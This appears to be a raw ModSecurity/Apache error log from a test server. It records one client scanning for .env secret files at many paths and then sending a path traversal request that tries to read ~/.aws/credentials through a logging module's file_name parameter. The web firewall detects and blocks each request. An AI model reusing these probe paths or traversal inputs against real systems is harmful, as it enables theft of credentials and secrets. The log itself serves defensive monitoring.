[Tue Aug 05 11:03:44.294090 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /main/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aJHI8Fgw4HLFH7L0P7lYOQAAABA&quot;]
[Tue Aug 05 11:03:44.294315 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aJHI8Fgw4HLFH7L0P7lYOQAAABA&quot;]
[Tue Aug 05 11:03:44.294521 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aJHI8Fgw4HLFH7L0P7lYOQAAABA&quot;]
[Tue Aug 05 11:03:45.028993 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYSgAAABA&quot;]
[Tue Aug 05 11:03:45.029223 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYSgAAABA&quot;]
[Tue Aug 05 11:03:45.029388 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYSgAAABA&quot;]
[Tue Aug 05 11:03:45.053336 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYSwAAABA&quot;]
[Tue Aug 05 11:03:45.053570 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYSwAAABA&quot;]
[Tue Aug 05 11:03:45.053744 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYSwAAABA&quot;]
[Tue Aug 05 11:03:45.076541 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYTAAAABA&quot;]
[Tue Aug 05 11:03:45.076768 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYTAAAABA&quot;]
[Tue Aug 05 11:03:45.076956 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYTAAAABA&quot;]
[Tue Aug 05 11:03:45.447137 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYTQAAABA&quot;]
[Tue Aug 05 11:03:45.447368 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYTQAAABA&quot;]
[Tue Aug 05 11:03:45.447558 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYTQAAABA&quot;]
[Tue Aug 05 11:03:45.469998 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nginx/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYTgAAABA&quot;]
[Tue Aug 05 11:03:45.470209 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYTgAAABA&quot;]
[Tue Aug 05 11:03:45.470379 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYTgAAABA&quot;]
[Tue Aug 05 11:03:45.492925 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /node/.env_example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node/.env_example&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYTwAAABA&quot;]
[Tue Aug 05 11:03:45.493132 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node/.env_example&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYTwAAABA&quot;]
[Tue Aug 05 11:03:45.493279 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node/.env_example&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYTwAAABA&quot;]
[Tue Aug 05 11:03:45.515775 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /node_modules/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYUAAAABA&quot;]
[Tue Aug 05 11:03:45.515998 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYUAAAABA&quot;]
[Tue Aug 05 11:03:45.516141 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYUAAAABA&quot;]
[Tue Aug 05 11:03:45.538745 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /old/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.env&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYUQAAABA&quot;]
[Tue Aug 05 11:03:45.538956 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.env&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYUQAAABA&quot;]
[Tue Aug 05 11:03:45.539110 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.env&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYUQAAABA&quot;]
[Tue Aug 05 11:03:45.631085 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Pattern match &quot;(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ...&quot; at REQUEST_URI_RAW. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;46&quot;] [id &quot;930100&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI_RAW: /pms?module=logging&amp;file_name=../../../../../../~/.aws/credentials&amp;number_of_lines=10000&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYVQAAABA&quot;]
[Tue Aug 05 11:03:45.631150 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /pms?module=logging&amp;file_name=../../../../../../~/.aws/credentials&amp;number_of_lines=10000&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYVQAAABA&quot;]
[Tue Aug 05 11:03:45.631188 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /pms?module=logging&amp;file_name=../../../../../../~/.aws/credentials&amp;number_of_lines=10000&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYVQAAABA&quot;]
[Tue Aug 05 11:03:45.631807 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYVQAAABA&quot;]
[Tue Aug 05 11:03:45.631945 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aJHI8Vgw4HLFH7L0P7lYVQAAABA&quot;]
